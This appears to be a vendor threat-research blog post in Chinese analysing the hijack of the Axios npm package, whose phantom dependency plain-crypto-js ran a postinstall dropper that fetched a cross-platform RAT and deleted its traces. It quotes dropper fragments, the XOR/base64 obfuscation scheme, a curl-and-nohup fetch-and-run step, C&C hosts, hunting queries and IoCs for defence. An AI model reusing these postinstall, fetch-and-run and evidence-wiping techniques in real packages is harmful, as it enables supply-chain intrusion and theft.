Skip to main content
Return to TrendAI™ 資安部落格
Cyber crime

Axios NPM 套件遭駭客入侵:供應鏈攻擊瞄準每週超過 1 億次下載的 JavaScript HTTP 用戶端

駭客對 Axios 發動供應鏈攻擊,利用偷來的 npm 登入憑證發布含有幽靈相依元件的惡意版本,然後在安裝過程中觸發一個跨平台遠端存取木馬程式 (RAT),隨後將其檔案更換成乾淨的誘餌檔案來誤導調查,使它難以被偵測。

Cyber threatsNews

Key Takeaways

  • Axios 是一個使用廣泛的 JavaScript HTTP 用戶端,其 npm 每週下載次數超過 1 億。然而它最近卻遭到駭客入侵,駭客挾持了主要維護者的 npm 帳號並發布了兩個惡意版本 (1.14.1 和 0.30.4) 來部署跨平台遠端存取木馬程式 (RAT)。
  • 攻擊中使用了一個幽靈相依元件:plain-crypto-js@4.2.1,它會執行一個安裝後掛鉤 (postinstall hook) 在 macOS、Windows 和 Linux 植入常駐惡意程式,隨後更將其檔案更換成乾淨的誘餌檔案來湮滅證據。
  • 駭客避開了 GitHub Actions 的 OIDC Trusted Publisher (信任的發布者) 安全機制,利用偷來的 npm 權杖 (token) 手動發布已下毒的版本,因此不會在官方 GitHub 儲存庫留下任何痕跡。
  • 幾分鐘內,自動化 npm 資安掃描工具就發現了惡意相依元件,隨後 npm 系統管理員也迅速將被駭客篡改的套件移除。
  • 鑑識分析顯示,駭客使用了精密的加密編碼、反制鑑識分析技巧,以及對應不同平台的惡意檔案,點出了供應鏈的重大資安漏洞,尤其在相依元件釘選 (dependency pinning) 與 CI/CD 流程保護方面。

Axios 這個 JavaScript 生態系中最炙手可熱的 HTTP 用戶端 (npm 每週下載次數超過 1 億) 在 2026 年 3 月 30 日遭駭客入侵,變成了散播跨平台遠端存取木馬程式 (RAT) 的工具。駭客挾持了該軟體主要維護者的 npm 帳號,發布了兩個被下毒的版本 (1.x 版及老舊的 0.x 版,兩者隔僅 39 分鐘),並在其中注入了一個幽靈相依元件,其唯一目的就是在 macOS、Windows 和 Linux 上植入常駐惡意程式。此惡意程式在執行之後會自我毀滅,將其存在的證據換成一個乾淨的誘餌檔案來誤導調查。 

攻擊時間表

此次入侵背後的預先準備大約持續了 18 小時左右,惡意相依元件在 Axios 發行版本釋出之前便預先植入 npm 來避免觸發「全新套件」(brand-new package) 警報:

Timestamp (UTC) Event
March 30, 2026 05:57 UTC plain-crypto-js@4.2.0 published by nrwise@proton.me — clean decoy to build registry history
March 30, 2026 23:59 UTC plain-crypto-js@4.2.1 published — malicious payload with postinstall: "node setup.js"
March 31, 2026 00:05 UTC Automated npm security scanners flag plain-crypto-js as malware (six-minute detection)
March 31, 2026 00:21 UTC axios@1.14.1 published by compromised jasonsaayman account (email: ifstap@proton.me)
March 31, 2026 01:00 UTC axios@0.30.4 published — 39 minutes later, poisoning the legacy 0.x branch
March 31, 2026 ~03:30 UTC npm administration removes all compromised versions and revokes tokens
Table 1. Attack timeline of the Axios supply chain compromise

截至本文撰稿為止,我們在監測資料中發現了符合這項威脅的活動,其影響遍及多個產業,包括:政府機關、金融、零售、顧問、娛樂、製造、科技、醫療,以及公共事業。

維護者的帳號是如何遭到挾持

駭客入侵了 Axios 專案主要維護者 jasonsaayman 的 npm 帳號,該帳號的電子郵件地址被換成駭客掌控的 ProtonMail 位址:ifstap@proton.me。

每個正常的 Axios 1.x 版本都是經由 GitHub Actions 搭配 npm 的 OIDC Trusted Publisher (信任的發布者) 機制來發布,透過加密方式將發布動作綁定到一個經過驗證的 CI 工作流程。然而惡意的 1.14.1 版是以手動方式發布,並使用偷來的 npm 存取權杖,沒有 OIDC 綁定,也沒有 gitHead。

而且,Axios GitHub 儲存庫內並無對應 1.14.1 版或 0.30.4 版的提交 (commit)、標記 (tag) 或發行 (release) 記錄,這些發行版本只存在 npm 上。

當 Axios 的協作者 DigitalBrainJS 試圖採取應變措施時,駭客使用了偷來的登入憑證 (擁有系統管理員權限) 來解開釘選 (unpin) 並刪除揭露問題。這名協作者公開表示:「沒用的,因為 git 和 npm 儲存庫的存取權限已遭駭客入侵,而他的 git 權限高於我的權限。我只是協作者,不是系統管理員,我無法撤銷他的存取權限,不論我修正什麼,他都會跟在我後面再'修正'回去。"

關鍵鑑識分析訊號 — OIDC 比較:

// axios@1.14.0 — LEGITIMATE
"_npmUser": {
"name": "GitHub Actions",
"trustedPublisher": { "id": "github", "oidcConfigId": "..." }
}

// axios@1.14.1 — MALICIOUS
"_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
// no trustedPublisher, no gitHead
}
Figure 1. GitHub issue #10604 — the Axios collaborator confirming the compromised maintainer has admin permissions.
Figure 1. GitHub issue #10604 — the Axios collaborator confirming the compromised maintainer has admin permissions.

幽靈相依元件:plain-crypto-js@4.2.1

兩個被下毒的 Axios 版本唯一的改變就是增加了一個新的相依元件:plain-crypto-js@^4.2.1。在 Axios 原始碼中,完全找不到任何 import 或 require()' 引用此套件的紀錄。經過 grep 指令掃描所有 86 個檔案已確認它完全沒用到。它只存在於 package.json 當中,用來觸發 npm '的自動化相依性解析,並執行其安裝後掛鉤 (postinstall hook)。

這正是幽靈相依元件攻擊的典型特徵,也就是在 manifest 當中加入一個套件,純粹只是要利用它在安裝期間所產生的副作用。

plain-crypto-js@4.2.1 這個套件在發布後的幾分鐘內就已經被多個自動化掃描工具標記為已知惡意程式 (供應鏈安全評分為 0%)。而遭到入侵的 axios@1.14.1 也被做了類似的標記,隨後更是被 npm 解除發布。

技術面分析:RAT 植入器 (setup.js)

加密編碼架構

所有敏感的字串都經過編碼並以數值方式儲存在 Stq 中[] 這個陣列當中,然後由兩個解碼函式負責在執行時期將它們解開:

  • _trans_1(x, r) — XOR 運算: 金鑰 "OrDeR_7077" 是經由 JavaScript '的 Number() 函式來處理,其中,英文字母會產生 NaN,然後位元運算中會變成 0。只有數字 7、0、7、7 能存活,因此實際產生金鑰是 [0、0、0、0、0、0、7、0、7 ]的有效金鑰。每個字元都會透過以下方式解碼:charCode XOR key [(7*r*r) % 10] XOR 333。
  • _trans_2(x, r) — 外層: 將編碼後的字串反轉,將「_」換成「=」,使用 base64 解碼,然後交給 _trans_1 處理。

完全解碼後的字串

Index Decoded value Purpose
stq[0] child_process Shell execution
stq[1] os Platform detection
stq[2] fs Filesystem operations
stq[3] hxxp://sfrclak[.]com:8000/ C&C base URL
stq[5] win32 Windows identifier
stq[6] darwin macOS identifier
stq[13] package.json Deleted after execution
stq[14] package.md Clean stub renamed to package.json
Table 2. Decoded string values and their functions

原始碼說明:setup.js

以下詳細說明 plain-crypto-js@4.2.1 的整個惡意檔案,每一條重要的程式碼路徑都會說明。

解碼函式

  • _trans_1(x, r) 會將 "OrDeR_7077" 這個金鑰拆成一個個的字元,並透過 Number() 產生對應的數值。非數字的字元會產生 NaN,然後在 XOR 位元運算之後會變成 0。所以最後實際產生的金鑰是 [0、0、0、0、0、0、7、0、7、7]。每個字元都會透過以下方式解碼:charCode XOR key [(7*r*r) % 10] XOR 333。二次方索引 (7r² mod 10) 會打亂金鑰存取模式來干擾頻率分析。
  • _trans_2(x, r) 會將編碼後的字串反轉,復原 base64 填充 (將「_」換成「=」),使用 base64 解碼,然後將結果交給 _trans_1 處理。這兩個函式都被包圍在 try/catch {}區塊當中,因此錯誤會被暗中吸收,不會產生看得見的堆疊追蹤記錄。

進入點:_entry("6202033")

攻擊行動 ID「6202033」會被當成參數傳遞,並附加到 CC 網址內,在分支之前,該函式會解碼六個 base64 分割的預留位置代碼:

Variable Encoded Decoded
E atob("TE9DQUw=") + atob("X1BBVEg=") LOCAL_PATH
S atob("UFM=") + atob("X1BBVEg=") PS_PATH
a atob("U0NSXw==") + atob("TElOSw==") SCR_LINK
c atob("UFNfQg==") + atob("SU5BUlk=") PS_BINARY
s atob("d2hlcmUgcG93ZXJzaGVsbA==") where powershell
Table 3. Platform-specific placeholder tokens used in setup.js

每個 atob () 呼叫會刻意拆成兩半,以防止分析人員使用 grep 工具找到完整字串。這些代碼是範本變數,植入器會從 stq[]解碼出對應某平台的 shell 指令範本,然後將這些代碼換成實際的 C&C 網址和本機檔案路徑。

這三個核心模組 (fs、os、 child_process) 都是透過動態的 require() 呼叫來載入,該呼叫會在執行時期從 stq[] 解碼出模組名稱。如此就能躲避靜態分析掃描工具,這些工具通常使用 grep 指令來搜尋像 require("child_process") 這樣的字串,所以匯入的函式就不會被自動化程式碼審查看到。

平台分支

植入器會使用一個 for(;;) { ... break }這樣的迴圈形式,這是一個只執行一次的無限迴圈。這是一種刻意混淆的技巧,可避免使用 if/else 這樣的結構,讓自動化程式碼審查很容易看出平台分支結構,這些分支包括:

  • macOS (darwin): 從 stq[9] 解出 AppleScript 範本,將 SCR_LINK 換成 C&C 網址,將 LOCAL_PATH 換成 /tmp/6202033,將範本寫入磁碟,然後透過 stq[10] 的指令執行。
  • Windows (win32): 執行 "where powershell" 來尋找該解譯器,然後將它複製到 %PROGRAMDATA%\wt.exe (偽裝成 Windows Terminal),將一個 VBScript 啟動器寫入 %TEMP%\6202033.vbs 並注入 C&C 網址與 PowerShell 路徑,然後執行。
  • Linux (預設): 從 stq[12] 解碼出一個 curl + nohup 指令,將 SCR_LINK 換成 C&C 網址,然後直接透過 execSync 執行。

反制鑑識分析 (最後三項作業)

F(n);                                  // execSync — RAT is now running
t.unlink(__filename, (x => {}));       // DELETE setup.js
t.unlink("package.json", (x => {}));   // DELETE malicious manifest
t.rename("package.md", "package.json", // SWAP clean stub into place
           (x => {}));

每個回呼 (callback) 都是 (x => {}) — 錯誤會被暗中吸收。整個 _entry 函式也都被包圍在 try/catch {} 當中,基於相同原因。最後一行:_entry("6202033") 是檔案中唯一未經加密編碼的呼叫,當 npm 的安裝後 (postinstall) 掛鉤呼叫 node setup.js 時,就會立即執行。

平台對應惡意程式

macOS:AppleScript 植入器

幕後操縱 (CC) POST 內文: packages.npm.org/product0

幕後操縱 (CC) 伺服器會傳回一個 macOS 二進位檔案並儲存到 /Library/Caches/com.apple.act.mond,這路徑是用來模擬 Apple 系統快取項目。"com.apple.act.mond" 這個名稱跟 Apple '的 reverse-DNS daemon 命名方式一致,有很可能是將"Activity Monitor Daemon."縮寫而來。使 chmod 770 指令讓它能夠執行,然後透過 /bin/zsh 在背景執行。AppleScript 檔案會在執行之後自我刪除。

Windows:VBScript + PowerShell 指令

幕後操縱 (CC) POST 內文:packages.npm.org/product1

四階段攻擊:

  1. 透過「where powershell」指令找到 PowerShell。
  2. 將 PowerShell 二進位檔案複製到 %PROGRAMDATA%\wt.exe (偽裝成 Windows Terminal)。
  3. VBScript 會執行隱藏的 cmd.exe 從 CC 擷取 PowerShell RAT,接著使用 -ExecutionPolicy Bypass -WindowStyle Hidden 作為參數來執行,然後再自我刪除。常駐惡意檔案:%PROGRAMDATA%\wt.exe。
  4. 被擷取的腳本會完全在記憶體內執行其最終惡意檔案。重新命名的 PowerShell 二進位檔 (wt.exe) 會執行以下指令:
Figure 2. wt.exe executes the final payload entirely in memory, running the attacker’s script without writing it to disk.
Figure 2. wt.exe executes the final payload entirely in memory, running the attacker’s script without writing it to disk.

Invoke-WebRequest 會透過 POST 請求將 Windows 平台識別碼傳送至 CC 並在 HTTP 回應的內文中收到的第二階段腳本。內文經過 UTF-8 解碼之後,傳送至 [scriptblock]::Create(),然後以內嵌 (inline) 方式完全在當前 PowerShell 處理程序'的記憶體中執行。最後的惡意檔案不會寫入中間檔案。CC 網址會當成 scriptblock 的引數,讓被傳送的程式碼透過回呼 (call back) 方式執行其他工作,而不需將位址寫死。

Linux:Python RAT

幕後操縱 (CC) POST 內文: packages.npm.org/product2

直接透過 execSync 執行:將 Python RAT 下載至 /tmp/ld.py 並透過 nohup 以分離 (detached) 的處理程序執行。POST 內文的前綴「packages.npm.org/」似乎是經過刻意挑選,讓它在快速檢視時看起來好像跟 npm 相關,並且混雜在記錄檔內,即便它並非 npm 的官方登錄網域 (registry.npmjs.org)。

C &C 基礎架構分析

透過對 C &C 基礎架構的分析,我們可看出駭客'伺服器的營運屬性:

Property Value
Domain registered March 30, 2026 16:03:46 UTC
Registrar Namecheap Inc
Name servers dns1.registrar-servers.com, dns2.registrar-servers.com
Hosting provider Hostwinds LLC (AS54290)
Hosting country United States
DNS SPF record v=spf1 include:spf.efwd.registrar-servers.com ~all
DNS MX records eforward[1-5].registrar-servers.com (Namecheap default email forwarding)
Table 4. The attacker’s C&C infrastructure

該網域註冊於 UTC 時間 3 月 30 日 16:03,這是在 plain-crypto-js@4.2.0 誘餌發布之後的 10 個小時 (05:57 UTC),以及 @4.2.1 惡意檔案上線之前的 8 個小時 (23:59 UTC)。如此可確認該基礎架構的部署與攻擊準備階段在同一天。從它使用了 Namecheap '的預設 DNS 和電子郵件轉寄設定,以及在大宗代管業者上註冊新網域來看,這應該是單次使用的拋棄式基礎架構。

我們的威脅情資平台記錄了 10 筆列在 sfrclak[.]com 底下的索引,包括對應各平台的 C&C 端點:

URL Context
hxxp[://]sfrclak[.]com:8000/6202033 Primary C&C callback (campaign ID in path)
hxxp[://]sfrclak[.]com:8000/6202033.ps1 Windows PowerShell payload download
hxxp[://]sfrclak[.]com Base domain
Table 5. Key URLs associated with sfrclak[.]com C&C server

這些網址的社群信譽評等分數都很低,因此就目前看來,根據網域和 IP 位址 (而非網址命名模式) 來執行來網路層次的攔截,應該是更加可靠的控管手段。

反制鑑識分析:自我破壞程序

在啟動惡意程式之後,setup.js 會執行三個清理步驟:

  1. 將自己刪除- fs.unlink(__filename) 移除 setup.js
  2. 刪除 package.json - 使用安裝後掛鉤來移除 manifest。
  3. 將 package.md 重新命名為 package.json - 使用事前準備好的乾淨範本 (stub) 來加以取代 (v4.2.0,無安裝後掛鉤)。

在感染之後,任何針對 node_modules/plain-crypto-js/package.json 的檢查都會看到一個完全乾淨的 manifest,因為證據已經被原地調包。

偵測訊號: 光是 node_modules/plain-crypto-js/ 的存在就足以證明駭客已入侵,因為這個套件並非任何正常 Axios 版本會用到的相依元件。

執行時期確認

我們執行了以下程序來驗證上述的靜態分析:在 GitHub Actions 執行器內安裝 axios@1.14.1,啟用稽核模式下的執行時期安全監控,然後記錄每一個對外連線、產生的處理程序,以及核心層次的檔案寫入動作。

我們記錄到兩個 CC 連線:

  1. curl at 01:30:51Z - npm 安裝開始後的 1.1 秒。
  2. nohup at 01:31:27Z - 在一個完全不同的工作流程步驟中。

惡意程式會以一個分離的背景處理程序 (PID 1) 常駐在系統,獨立於 npm 之外。

處理程序樹狀圖:完整攻擊程序

PID 2366 bash (workflow script)
  └─ PID 2380 npm install axios@1.14.1
       └─ PID 2391 sh -c "node setup.js"
            └─ PID 2392 node setup.js
                 └─ PID 2399 /bin/sh -c "curl ... && nohup python3 ..."

PID 2401 curl -o /tmp/ld.py ... ppid: 2400
PID 2400 nohup python3 /tmp/ld.py ppid: 1 ← ORPHANED TO INIT
Figure 3. Infection flow of the malicious npm dependency leading to compromise
Figure 3. Infection flow of the malicious npm dependency leading to compromise

攻擊行動外圍:相關套件

  • @shadanai/openclaw:一個 OpenClaw AI 閘道的分支,plain-crypto-js 隱藏在廠商路徑上。相同的 setup.js、相同的 C &C、相同的惡意檔案。
  • @qqbrowser/openclaw-qbot@0.0.130:提供一個遭到篡改的 axios@1.14.1,其 node_modules/ 目錄中已預先注入了 plain-crypto-js。不同的注入管道,同樣的惡意程式。

MITRE ATT&CK 手法、技巧與程序 (TTP)

ID Technique Description
T1195.002 Compromise Software Supply Chain Hijacked npm maintainer account published poisoned Axios versions bypassing OIDC Trusted Publisher
T1059.005 Command and Scripting Interpreter: VBScript 6202033.vbs launcher writes and executes PowerShell chain from %TEMP%
T1059.001 Command and Scripting Interpreter: PowerShell Fileless [scriptblock]::Create() execution from C&C HTTP response body via renamed wt.exe
T1059.006 Command and Scripting Interpreter: Python Linux RAT /tmp/ld.py executed detached via nohup, orphaned to PID 1
T1027 Obfuscated Files or Information XOR cipher (OrDeR_7077) + base64 reversal + string array rotation + split atob() calls
T1036 Masquerading wt.exe mimics Windows Terminal; com.apple.act.mond mimics Apple daemon; packages.npm.org/ prefix in POST body mimics npm registry traffic
T1070.004 Indicator Removal: File Deletion setup.js self-deletes, removes package.json, swaps in clean package.md stub
T1082 System Information Discovery os.platform() fingerprint determines macOS/Windows/Linux execution branch
T1071.001 Application Layer Protocol: Web Protocols HTTP POST to sfrclak[.]com:8000 with campaign ID 6202033 in URL path
T1620 Reflective Code Loading PowerShell [scriptblock]::Create() from C&C response content executed in-process without disk write
Table 6. TTPs used in the software supply chain attack

矯正

在遭遇像 Axios 入侵這樣的供應鏈攻擊之後,企業有必要迅速執行徹底的矯正。以下步驟可協助企業清除惡意元件、復原至安全的環境,並且強化未來對抗這類資安事故的防禦能力:

  1. 釘選至安全的版本:npm install axios@1.14.0 (1.x) 或 axios@0.30.3 (0.x)。
  2. 在 package.json 中加入 overrides/resolutions (複寫/解析) 規則來防止暫時性相依元件解析。
  3. 移除 plain-crypto-js:rm -rf node_modules/plain-crypto-js && npm install --ignore-scripts
  4. 如果發現 RAT 惡意檔案:切勿在原地執行清除,請還原至已知的良好狀態。
  5. 換掉所有的登入憑證:npm 權杖、AWS 金鑰、SSH 金鑰、CI/CD 機密、.env 數值。
  6. 稽核 CI/CD 流程:任何在暴露期間執行 npm install 的工作流程,請更換掉所有注入的機密。
  7. 在網路/DNS 層次攔截 CC 流量:將 sfrclak.com 加入攔截名單。
  8. 在 CI/CD 中將「npm ci --ignore-scripts」設為常態性政策。

給開發人員、登錄操作人員以及資安團隊的啟示

Axios 入侵事件揭露了供應鏈資安的重大漏洞,顯示單一帳號入侵如何影響數百萬使用者。這起攻擊突顯出嚴格的相依元件釘選、CI/CD 安全機制,以及隨時保持警戒的登錄控管有多麼重要。藉由檢視這起行動所揭露的技術與營運缺失,我們就能發掘一些有價值的洞見來協助防範未來的風險:

給開發人員

  • 釘選相依元件版本。指定一個範圍 (^1.14.0) 會靜靜地拉取下一個小版本/修補,採用精確釘選與 lockfile 驗證是最基本的防禦。
  • 在 CI/CD 中使用「npm ci --ignore-scripts」。安裝後掛鉤是 npm 供應鏈攻擊的主要執行管道。
  • 檢查鎖定檔案 (lockfile),而不單只檢查 package.json,因為惡意相依元件是暫時性的,只有在 package-lock.json 當中才看得到。

針對套件登錄操作人員

  • 必須常態性使用 OIDC Trusted Publisher。這次的惡意發行版本很容易被偵測為異常,因為它缺乏 OIDC 綁定。
  • 帳號盜用偵測應該對高下載量套件的電子郵件變更發出警訊,並且觸發審查暫時停權流程。
  • 新發布的套件應該要有冷卻期,即使只有 24 小時也能降低其衝擊半徑。

給資安團隊

  • 監控是否有幽靈相依元件,也就是列在 manifest 當中、但原始程式碼卻從未匯入的套件。
  • CI/CD 的網路入口監控可偵測靜態分析無法偵測的問題。
  • 安裝後證據可能已被摧毀,因此 lockfile 差異比對與網路記錄檔是比較可靠的鑑識來源。

採用 TrendAI Vision One™ 的主動式防護 

TrendAI Vision One™ 是唯一將資安曝險管理、資安營運以及強大的多層式防護集中在一起的業界領先 AI 網路資安平台。 

TrendAI Vision One™ Threat Intelligence Hub

TrendAI Vision One™ Threat Intelligence Hub 威脅情報中心提供了有關新興威脅與駭客集團的最新洞見、TrendAI™ Research 的獨家策略性報告,以及 TrendAI Vision One™ 平台的 TrendAI Vision One™ Threat Intelligence Feed 威脅情報來源。

新興威脅:Axios 遭駭客入侵:供應鏈內部攻擊襲擊每週 1 億次下載的套件

TrendAI Vision One™ Intelligence Reports (IoC 掃描) 

Axios 已遭入侵:供應鏈內部攻擊襲擊每週 1 億次下載的套件

追蹤查詢 

TrendAI Vision One™ Search 應用程式 

TrendAI Vision One™ 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。    

偵測 npm install 植入器產生的攻擊行動相關暫存檔案

eventSubId:101 AND objectFilePath:(*\Temp\6202033* OR */tmp/6202033*) AND parentFilePath:(*\

ode.exe OR */node)</p>

偵測連上 Axios 供應鏈攻擊幕後操縱 (CC) 伺服器的對外連線

eventSubId:204 AND dst:("sfrclak.com" OR "142.11.206.73")Threat Intelligence Hub entitlement enabled.

除此之外,TrendAI Vision One™ 客戶還可啟用 Threat Insights Hub 權利來取得更多追蹤查詢。

Indicator Value Detection
Network Indicators    
C&C Domain sfrclak[.]com 91. C&C server
C&C URL http[://]sfrclak[.]com:8000/6202033 79. Disease Vector
C&C Domain callnrwise[.]com 91. C&C server
C&C IP 142[.]11[.]206[.]73 91. C&C server
POST body (macOS) packages.npm.org/product0  
POST body (Windows) packages.npm.org/product1  
POST body (Linux) packages.npm.org/product2  
Malicious NPM Packages    
axios@1.14.1 2553649f2322049666871cea80a5d0d6adc700ca Trojan.JS.TPCPSTEAL.A
axios@0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71  
plain-crypto-js@4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766 Trojan.JS.TPCPSTEAL.A
File Hashes    
setup.js — RAT dropper (plain-crypto-js@4.2.1 postinstall payload) e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Trojan.JS.AXIOSDROP.THCCABF
6202033.vbs — Powershell RAT downloader 591a70e8b166265804c1e2add3f5554b38364a8750248a8c5be751c5cd9b1655 Trojan.VBS.AXIOSDROP.AA
6202033.ps1 — PowerShell RAT ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c Backdoor.PS1.AXIOSRAT.THCCABF
6202033.ps1 — PowerShell RAT 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 Trojan.PS1.AXIOSDROP.THCCABF
system.bat — Windows fileless loader f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Trojan.PS1.AXIOSDROP.THCCABG
com.apple.act.mond 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Backdoor.MacOS.NUKESPED.MANP
ld.py — Linux Python RAT fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Backdoor.Python.AXIOSRAT.THCCABF

入侵指標 (IoC)